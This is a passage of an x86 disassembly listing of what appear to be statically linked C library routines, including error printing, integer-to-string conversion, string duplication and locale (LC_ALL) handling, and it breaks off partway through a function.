		push	eax
		push	edi
		push	esi
		push	offset aSSS	; "%s%s%s\n"
		push	offset unk_80787A4
		call	fprintf
		jmp	short loc_8062672
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8062648:				; CODE XREF: sub_80625DC+33j
					; sub_80625DC+3Bj
		push	ebx
		push	offset aUnknownError ; "Unknown	error"
		push	1
		push	1
		mov	eax, dword_8078F9C
		push	eax
		call	catgets
		add	esp, 10h
		push	eax
		push	edi
		push	esi
		push	offset aSSSD	; "%s%s%s %d\n"
		push	offset unk_80787A4
		call	fprintf

loc_8062672:				; CODE XREF: sub_80625DC+68j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_80625DC	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_806267C	proc near		; CODE XREF: sub_8054DB8+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		cmp	dword ptr [ebx+24h], 0
		jz	short loc_80626AD
		cmp	edi, 1
		jnz	short loc_80626A4
		test	byte ptr [ebx+1], 1
		jz	short loc_80626A4
		mov	eax, [ebx+8]
		sub	eax, [ebx+4]
		sub	esi, eax

loc_80626A4:				; CODE XREF: sub_806267C+18j
					; sub_806267C+1Ej
		push	ebx
		call	sub_80618D4
		add	esp, 4

loc_80626AD:				; CODE XREF: sub_806267C+13j
		mov	eax, [ebx+50h]
		mov	edx, [ebp+arg_C]
		push	edx
		push	edi
		push	esi
		push	ebx
		mov	eax, [eax+44h]
		call	eax
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_806267C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80626C8	proc near		; CODE XREF: sub_8054DF0+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	edx, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		test	edx, edx
		jz	short loc_80626E7
		mov	eax, [edx]
		and	eax, 0FFFF0000h
		cmp	eax, 0FBAD0000h
		jz	short loc_80626F4

loc_80626E7:				; CODE XREF: sub_80626C8+Fj
		mov	__errno, 16h
		jmp	short loc_806270B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80626F4:				; CODE XREF: sub_80626C8+1Dj
		and	dword ptr [edx], 0FFFFFDFFh
		test	ebx, ebx
		jnz	short loc_8062700
		xor	ecx, ecx

loc_8062700:				; CODE XREF: sub_80626C8+34j
		mov	eax, [edx+50h]
		push	ecx
		push	ebx
		push	edx
		mov	eax, [eax+54h]
		call	eax

loc_806270B:				; CODE XREF: sub_80626C8+29j
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_80626C8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8062714	proc near		; CODE XREF: vfprintf+DAFp
					; vfprintf+27B3p

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		push	esi
		push	ebx
		mov	edx, [ebp+arg_C]
		mov	[ebp+var_4], offset a0123456789abcd ; "0123456789abcdefghijklmnopqrstuvwxyz"
		cmp	[ebp+arg_10], 0
		jz	short loc_8062734
		mov	[ebp+var_4], offset a0123456789ab_0 ; "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"

loc_8062734:				; CODE XREF: sub_8062714+17j
		mov	edi, [ebp+arg_8]
		cmp	edx, 0Ah
		jz	short loc_8062758
		ja	short loc_806274C
		cmp	edx, 8
		jz	loc_80627E8
		jmp	loc_806282C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806274C:				; CODE XREF: sub_8062714+28j
		cmp	edx, 10h
		jz	short loc_80627A0
		jmp	loc_806282C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8062758:				; CODE XREF: sub_8062714+26j
					; sub_8062714+7Dj ...
		dec	edi
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_806744C
		add	esp, 10h
		mov	edx, eax
		mov	ecx, [ebp+var_4]
		mov	dl, [edx+ecx]
		mov	[edi], dl
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_8067344
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	[ebp+arg_4], edx
		cmp	[ebp+arg_0], 0
		jnz	short loc_8062758
		cmp	[ebp+arg_4], 0
		jnz	short loc_8062758
		jmp	loc_8062879
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80627A0:				; CODE XREF: sub_8062714+3Bj
					; sub_8062714+C5j ...
		dec	edi
		push	0
		push	10h
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_806744C
		add	esp, 10h
		mov	edx, eax
		mov	ebx, [ebp+var_4]
		mov	dl, [edx+ebx]
		mov	[edi], dl
		push	0
		push	10h
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_8067344
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	[ebp+arg_4], edx
		cmp	[ebp+arg_0], 0
		jnz	short loc_80627A0
		cmp	[ebp+arg_4], 0
		jnz	short loc_80627A0
		jmp	loc_8062879
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80627E8:				; CODE XREF: sub_8062714+2Dj
					; sub_8062714+10Dj ...
		dec	edi
		push	0
		push	8
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_806744C
		add	esp, 10h
		mov	edx, eax
		mov	ecx, [ebp+var_4]
		mov	dl, [edx+ecx]
		mov	[edi], dl
		push	0
		push	8
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_8067344
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	[ebp+arg_4], edx
		cmp	[ebp+arg_0], 0
		jnz	short loc_80627E8
		cmp	[ebp+arg_4], 0
		jnz	short loc_80627E8
		jmp	short loc_8062879
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806282C:				; CODE XREF: sub_8062714+33j
					; sub_8062714+3Dj
		mov	ecx, edx
		xor	ebx, ebx
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], ebx
		lea	esi, [esi]

loc_8062838:				; CODE XREF: sub_8062714+15Fj
					; sub_8062714+163j
		dec	edi
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_806744C
		add	esp, 10h
		mov	edx, eax
		mov	ebx, [ebp+var_4]
		mov	dl, [edx+ebx]
		mov	[edi], dl
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_8067344
		add	esp, 10h
		mov	[ebp+arg_0], eax
		mov	[ebp+arg_4], edx
		test	eax, eax
		jnz	short loc_8062838
		test	edx, edx
		jnz	short loc_8062838

loc_8062879:				; CODE XREF: sub_8062714+85j
					; sub_8062714+CDj ...
		mov	eax, edi
		lea	esp, [ebp+var_18]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8062714	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8062888	proc near		; CODE XREF: sub_8054EC8+9Bp
					; sub_8054EC8+104p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		lea	eax, [ebp+arg_C]
		push	eax
		push	edx
		push	ecx
		push	ebx
		call	sub_80628A8
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_8062888	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80628A8	proc near		; CODE XREF: sub_8054EC8+297p
					; sub_8062888+14p

var_6C		= byte ptr -6Ch
var_60		= byte ptr -60h
var_4C		= dword	ptr -4Ch
var_10		= dword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 60h
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	0
		lea	esi, [ebp+var_60]
		push	esi
		call	sub_8061F34
		mov	[ebp+var_10], offset unk_80787FC
		push	edi
		dec	ebx
		push	ebx
		push	edi
		push	esi
		call	sub_8052E80
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	esi
		call	vfprintf
		mov	edx, eax
		mov	eax, [ebp+var_4C]
		mov	byte ptr [eax],	0
		mov	eax, edx
		lea	esp, [ebp+var_6C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_80628A8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80628F8	proc near		; CODE XREF: sub_8062D4C+347p
					; sub_8062D4C+577p ...

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_4], ecx
		mov	esi, [ebp+arg_0]
		xor	al, al
		mov	edi, esi
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	ebx, ecx
		not	ebx
		push	ebx
		call	malloc
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_8062934
		push	ebx
		push	esi
		push	edi
		call	memcpy
		mov	eax, edi
		jmp	short loc_8062936
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8062934:				; CODE XREF: sub_80628F8+2Cj
		xor	eax, eax

loc_8062936:				; CODE XREF: sub_80628F8+38j
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_80628F8	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8062940	proc near		; CODE XREF: sub_8062D4C+6B4p
					; sub_8062D4C+84Fp

var_58		= byte ptr -58h
var_4C		= dword	ptr -4Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_4], ecx
		mov	[ebp+var_20], 0
		mov	[ebp+var_28], 1
		mov	[ebp+var_4C], 0
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_8062964:				; CODE XREF: sub_8062940+132j
		cmp	[ebp+arg_0], 6
		jnz	short loc_8062978
		mov	edx, [ebp+var_4C]
		mov	esi, [ebp+arg_4]
		mov	ebx, [esi+edx*4]
		jmp	short loc_8062992
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8062978:				; CODE XREF: sub_8062940+28j
		mov	edx, [ebp+var_4C]
		cmp	[ebp+arg_0], edx
		jnz	short loc_8062988
		mov	esi, [ebp+arg_4]
		mov	ebx, [esi]
		jmp	short loc_8062992
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8062988:				; CODE XREF: sub_8062940+3Ej
		mov	edx, [ebp+var_4C]
		mov	ebx, dword_80790BC[edx*4]

loc_8062992:				; CODE XREF: sub_8062940+33j
					; sub_8062940+45j
		xor	al, al
		mov	edi, ebx
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	eax, ecx
		not	eax
		dec	eax
		mov	esi, [ebp+var_4C]
		mov	[ebp+esi*4+var_1C], eax
		mov	eax, [ebp+esi*4+var_1C]
		mov	edx, [ebp+var_4C]
		add	eax, ds:dword_806AA8C[edx*4]
		mov	esi, [ebp+var_20]
		lea	esi, [esi+eax+2]
		mov	[ebp+var_20], esi
		test	edx, edx
		jle	short loc_80629E6
		cmp	[ebp+var_28], 0
		jz	short loc_80629E6
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		push	eax
		push	ebx
		call	sub_8057ADC
		add	esp, 8
		test	eax, eax
		jz	short loc_80629E6
		mov	[ebp+var_28], 0

loc_80629E6:				; CODE XREF: sub_8062940+84j
					; sub_8062940+8Aj ...
		mov	esi, [ebp+var_4C]
		inc	esi
		mov	[ebp+var_3C], esi
		cmp	[ebp+arg_0], 6
		jnz	short loc_80629FC
		mov	edx, [ebp+arg_4]
		mov	ebx, [edx+esi*4]
		jmp	short loc_8062A16
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80629FC:				; CODE XREF: sub_8062940+B1j
		mov	esi, [ebp+var_3C]
		cmp	[ebp+arg_0], esi
		jnz	short loc_8062A0C
		mov	edx, [ebp+arg_4]
		mov	ebx, [edx]
		jmp	short loc_8062A16
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8062A0C:				; CODE XREF: sub_8062940+C2j
		mov	esi, [ebp+var_3C]
		mov	ebx, dword_80790BC[esi*4]

loc_8062A16:				; CODE XREF: sub_8062940+B9j
					; sub_8062940+C9j
		xor	al, al
		mov	edi, ebx
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	eax, ecx
		not	eax
		dec	eax
		mov	edx, [ebp+var_3C]
		mov	[ebp+edx*4+var_1C], eax
		mov	eax, [ebp+edx*4+var_1C]
		mov	esi, [ebp+var_3C]
		add	eax, ds:dword_806AA8C[esi*4]
		mov	edx, [ebp+var_20]
		lea	edx, [edx+eax+2]
		mov	[ebp+var_20], edx
		test	esi, esi
		jle	short loc_8062A6A
		cmp	[ebp+var_28], 0
		jz	short loc_8062A6A
		mov	esi, [ebp+arg_4]
		mov	eax, [esi]
		push	eax
		push	ebx
		call	sub_8057ADC
		add	esp, 8
		test	eax, eax
		jz	short loc_8062A6A
		mov	[ebp+var_28], 0

loc_8062A6A:				; CODE XREF: sub_8062940+108j
					; sub_8062940+10Ej ...
		add	[ebp+var_4C], 2
		cmp	[ebp+var_4C], 5
		jle	loc_8062964
		cmp	[ebp+var_28], 0
		jz	short loc_8062AFC
		mov	eax, [ebp+var_1C]
		inc	eax
		push	eax
		call	malloc
		mov	[ebp+var_24], eax
		add	esp, 4
		test	eax, eax
		jnz	short loc_8062AE0
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		mov	edi, offset unk_806AABE
		mov	ecx, 2
		mov	esi, eax
		cld
		test	al, 0
		repe cmpsb
		jz	short loc_8062ABF
		mov	eax, [edx]
		mov	edi, offset aPosix ; "POSIX"
		mov	ecx, 6
		mov	esi, eax
		cld
		test	al, 0
		repe cmpsb
		jnz	short loc_8062ACC

loc_8062ABF:				; CODE XREF: sub_8062940+168j
		mov	eax, offset unk_806AABC
		jmp	loc_8062C8F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8062ACC:				; CODE XREF: sub_8062940+17Dj
		mov	__errno, 16h
		xor	eax, eax
		jmp	loc_8062C8F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8062AE0:				; CODE XREF: sub_8062940+150j
		mov	edx, [ebp+arg_4]
		mov	edx, [edx]
		mov	eax, [ebp+var_1C]
		inc	eax
		push	eax
		push	edx
		mov	esi, [ebp+var_24]
		push	esi
		call	memcpy
		jmp	loc_8062C8C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8062AFC:				; CODE XREF: sub_8062940+13Cj
		mov	edx, [ebp+var_20]
		push	edx
		call	malloc
		mov	[ebp+var_24], eax
		add	esp, 4
		test	eax, eax
		jnz	short loc_8062B18
		xor	eax, eax
		jmp	loc_8062C8F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8062B18:				; CODE XREF: sub_8062940+1CDj
		mov	ebx, [ebp+var_24]
		mov	[ebp+var_4C], 0
		mov	[ebp+var_2C], offset dword_806AA8C
		mov	[ebp+var_30], offset dword_806AA8C

loc_8062B30:				; CODE XREF: sub_8062940+342j
		cmp	[ebp+arg_0], 6
		jnz	short loc_8062B44
		mov	esi, [ebp+var_4C]
		mov	edx, [ebp+arg_4]
		mov	edi, [edx+esi*4]
		jmp	short loc_8062B5E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8062B44:				; CODE XREF: sub_8062940+1F4j
		mov	esi, [ebp+var_4C]
		cmp	[ebp+arg_0], esi
		jnz	short loc_8062B54
		mov	edx, [ebp+arg_4]
		mov	edi, [edx]
		jmp	short loc_8062B5E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8062B54:				; CODE XREF: sub_8062940+20Aj
		mov	esi, [ebp+var_4C]
		mov	edi, dword_80790BC[esi*4]

loc_8062B5E:				; CODE XREF: sub_8062940+1FFj
					; sub_8062940+211j
		mov	edx, [ebp+var_4C]
		mov	eax, ds:dword_806AA34[edx*4]
		mov	esi, [ebp+var_30]
		mov	esi, [esi]
		push	esi
		push	eax
		push	ebx
		call	memcpy
		add	esp, 0Ch
		mov	edx, [ebp+var_2C]
		add	ebx, [edx]
		mov	byte ptr [ebx],	3Dh
		inc	ebx
		mov	esi, [ebp+var_4C]
		mov	eax, [ebp+esi*4+var_1C]
		push	eax
		push	edi
		push	ebx
		call	memcpy
		add	esp, 0Ch
		add	ebx, [ebp+esi*4+var_1C]
		mov	byte ptr [ebx],	3Bh
		inc	ebx
		mov	edi, [ebp+var_4C]
		inc	edi
		cmp	[ebp+arg_0], 6
		jnz	short loc_8062BB0
		mov	edx, [ebp+arg_4]
		mov	edx, [edx+edi*4]
		jmp	short loc_8062BC7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8062BB0:				; CODE XREF: sub_8062940+263j
		cmp	[ebp+arg_0], edi
		jnz	short loc_8062BC0
		mov	esi, [ebp+arg_4]
		mov	esi, [esi]
		mov	[ebp+var_34], esi
		jmp	short loc_8062BCA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8062BC0:				; CODE XREF: sub_8062940+273j
		mov	edx, dword_80790BC[edi*4]

loc_8062BC7:				; CODE XREF: sub_8062940+26Bj
		mov	[ebp+var_34], edx

loc_8062BCA:				; CODE XREF: sub_8062940+27Dj
		mov	eax, ds:dword_806AA34[edi*4]
		mov	esi, [ebp+var_30]
		mov	esi, [esi+4]
		push	esi
		push	eax
		push	ebx
		call	memcpy
		add	esp, 0Ch
		mov	edx, [ebp+var_2C]
		add	ebx, [edx+4]
		mov	byte ptr [ebx],	3Dh
		inc	ebx
		mov	eax, [ebp+edi*4+var_1C]
		push	eax
		mov	esi, [ebp+var_34]
		push	esi
		push	ebx
		call	memcpy
		add	esp, 0Ch
		add	ebx, [ebp+edi*4+var_1C]
		mov	byte ptr [ebx],	3Bh
		inc	ebx
		mov	edi, [ebp+var_4C]
		add	edi, 2
		cmp	[ebp+arg_0], 6
		jnz	short loc_8062C1C
		mov	edx, [ebp+arg_4]
		mov	edx, [edx+edi*4]
		jmp	short loc_8062C33
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8062C1C:				; CODE XREF: sub_8062940+2D0j
		cmp	[ebp+arg_0], edi
		jnz	short loc_8062C2C
		mov	esi, [ebp+arg_4]
		mov	esi, [esi]
		mov	[ebp+var_38], esi
		jmp	short loc_8062C36
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8062C2C:				; CODE XREF: sub_8062940+2DFj
		mov	edx, dword_80790BC[edi*4]

loc_8062C33:				; CODE XREF: sub_8062940+2D8j
		mov	[ebp+var_38], edx

loc_8062C36:				; CODE XREF: sub_8062940+2E9j
		mov	eax, ds:dword_806AA34[edi*4]
		mov	esi, [ebp+var_30]
		mov	esi, [esi+8]
		push	esi
		push	eax
		push	ebx
		call	memcpy
		add	esp, 0Ch
		mov	edx, [ebp+var_2C]
		add	ebx, [edx+8]
		mov	byte ptr [ebx],	3Dh
		inc	ebx
		mov	eax, [ebp+edi*4+var_1C]
		push	eax
		mov	esi, [ebp+var_38]
		push	esi
		push	ebx
		call	memcpy
		add	esp, 0Ch
		add	ebx, [ebp+edi*4+var_1C]
		mov	byte ptr [ebx],	3Bh
		inc	ebx
		add	[ebp+var_2C], 0Ch
		add	[ebp+var_30], 0Ch
		add	[ebp+var_4C], 3
		cmp	[ebp+var_4C], 5
		jle	loc_8062B30
		mov	byte ptr [ebx-1], 0

loc_8062C8C:				; CODE XREF: sub_8062940+1B4j
		mov	eax, [ebp+var_24]

loc_8062C8F:				; CODE XREF: sub_8062940+184j
					; sub_8062940+198j ...
		lea	esp, [ebp+var_58]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8062940	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8062C9C	proc near		; CODE XREF: sub_8062D4C+7ABp
					; sub_8062D4C+8EEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		mov	edx, dword_80790D4
		mov	dword_80790D4, eax
		cmp	edx, offset unk_806AABC
		jz	short loc_8062CC1
		push	edx
		call	free

loc_8062CC1:				; CODE XREF: sub_8062C9C+1Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_8062C9C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8062CC8	proc near		; CODE XREF: sub_8062D4C+6E9p
					; sub_8062D4C+70Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	ecx, dword_80790BC[eax*4]
		mov	dword_80790BC[eax*4], edx
		cmp	ecx, offset unk_806AABC
		jz	short loc_8062CF3
		push	ecx
		call	free

loc_8062CF3:				; CODE XREF: sub_8062CC8+23j
		mov	esp, ebp
		pop	ebp
		retn
sub_8062CC8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8062CF8	proc near		; CODE XREF: sub_8062D4C+6DBp
					; sub_8062D4C+6FFp ...

var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	esi
		push	ebx
		mov	[ebp+var_4], ecx
		mov	ebx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		cmp	ds:dword_806AA04[ebx*4], 0
		jz	short loc_8062D40
		mov	eax, ds:dword_806AA04[ebx*4]
		mov	esi, [eax]
		mov	[eax], edx
		cmp	ds:dword_806AAA4[ebx*4], 0
		jz	short loc_8062D31
		mov	eax, ds:dword_806AAA4[ebx*4]
		call	eax ; sub_8066BC4

loc_8062D31:				; CODE XREF: sub_8062CF8+2Ej
		cmp	ds:dword_806AA1C[ebx*4], esi
		jz	short loc_8062D40
		push	esi
		call	sub_8067040

loc_8062D40:				; CODE XREF: sub_8062CF8+19j
					; sub_8062CF8+40j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8062CF8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8062D4C	proc near		; CODE XREF: sub_805E110+6Cp
					; sub_805E954+13p

var_50		= byte ptr -50h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 6
		ja	loc_806360C
		jnz	short loc_8062D6C
		mov	eax, dword_80790D4
		jmp	short loc_8062D73
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8062D6C:				; CODE XREF: sub_8062D4C+15j
		mov	eax, dword_80790BC[ebx*4]

loc_8062D73:				; CODE XREF: sub_8062D4C+1Cj
		cmp	[ebp+arg_4], 0
		jz	loc_8063642
		cmp	[ebp+arg_4], eax
		jz	loc_8063642
		cmp	ebx, 6
		jnz	loc_8063504
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_8062DA7
		push	offset aLc_all	; "LC_ALL"
		call	secure_getenv
